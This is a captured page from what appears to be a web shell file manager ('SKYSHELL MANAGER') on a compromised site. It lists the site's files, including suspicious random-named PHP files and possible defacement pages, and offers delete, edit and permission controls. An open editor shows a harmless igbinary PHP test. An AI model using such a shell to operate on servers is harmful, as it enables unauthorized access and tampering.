📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: igbinary_071_php8.phpt
--TEST-- igbinary_unserialize with references to typed properties shall skip the references or fail --SKIPIF-- <?php if (PHP_VERSION_ID < 80000) { echo "skip __serialize/__unserialize error message different in php < 8"; } ?> --FILE-- <?php class A { public int $a; public $b; } class B { public $a; public int $b; } class C { public int $a; public string $b; } class D { public int $a; public float $b; } class Z { public $a; public $b; } $a = new A(); $a->a = 1234; $a->b = &$a->a; var_dump(bin2hex($s = igbinary_serialize($a))); var_dump(igbinary_unserialize($s)); echo "Test B\n"; $b = new B(); $b->a = -1234; $b->b = &$b->a; var_dump(bin2hex($s = igbinary_serialize($b))); var_dump(igbinary_unserialize($s)); $z = new Z(); $z->a = null; $z->b = &$z->a; $s = igbinary_serialize($z); try { var_dump(igbinary_unserialize(str_replace('Z', 'A', $s))); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } try { var_dump(igbinary_unserialize(str_replace('Z', 'B', $s))); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } $z = new Z(); $z->a = 1; $z->b = &$z->a; $s = igbinary_serialize($z); try { var_dump(igbinary_unserialize(str_replace('Z', 'C', $s))); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } $z = new Z(); $z->a = 'x'; $z->b = &$z->a; $s = igbinary_serialize($z); try { var_dump(igbinary_unserialize(str_replace('Z', 'C', $s))); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } $z = new Z(); $z->a = 1; $z->b = &$z->a; $s = igbinary_serialize($z); try { var_dump(igbinary_unserialize(str_replace('Z', 'D', $s))); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } /* try { var_dump(unserialize('O:1:"D":2:{s:1:"a";i:1;s:1:"b";R:2;}')); } catch (TypeError $e) { echo $e->getMessage(), "\n"; } */ ?> --EXPECT-- string(44) "000000021701411402110161250804d2110162250101" object(A)#2 (2) { ["a"]=> &int(1234) ["b"]=> &int(1234) } Test B string(44) "000000021701421402110161250904d2110162250101" object(B)#3 (2) { ["a"]=> &int(-1234) ["b"]=> &int(-1234) } Cannot assign null to property A::$a of type int Cannot assign null to property B::$b of type int Cannot assign int to property C::$b of type string Cannot assign string to property C::$a of type int Reference with value of type int held by property D::$a of type int is not compatible with property D::$b of type float
Save